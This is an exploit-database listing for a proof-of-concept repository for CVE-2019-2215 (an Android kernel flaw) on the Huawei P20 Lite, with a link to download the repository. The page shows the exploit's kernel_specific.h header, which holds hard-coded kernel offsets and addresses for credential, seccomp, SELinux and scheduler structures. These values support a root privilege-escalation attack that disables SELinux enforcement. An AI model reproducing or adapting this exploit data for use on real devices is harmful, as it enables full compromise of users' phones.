Exploit database

GH-e862261e9cb7c73b4f1462a5dca2cbc0

willboka/cve-2019-2215-huaweip20lite

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-2215

37 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/include/kernel_specific.h

Text · 789 bytes
/**
 * Data that are specific to kernel build are put here.
 * Structs offsets are little likely to change.
 * Symbols address may change
 */

#define KERNEL_BASE 0xffffff8008080000ul
#define STRUCT_CRED_OFFSET 0x618ul
#define STRUCT_SECCOMP_OFFSET 0x6b8ul
#define THREAD_INFO_FLAGS_OFFSET 0ul
#define SECURITY_OFFSET_IN_CREDS 0x78
#define SELINUX_ENFORCING_OFFSET 0x0ul
#define SCHED_CLASS_OFFSET 0x88UL

// likely to change
#ifndef DEBUG
#define AVC_CACHE 0xffffff800a2d4c40ul // static address of avc_cache
#define SS_INITIALIZED 0xffffff800a2d9b14ul // static address of ss_initialized - not used
#define FAIR_SCHED_CLASS 0xffffff8008f78408UL
#else
#define AVC_CACHE 0xffffff800a4cef88ul
#define SS_INITIALIZED 0xffffff800a4d3e5cul
#define FAIR_SCHED_CLASS 0xffffff8009068418UL
#endif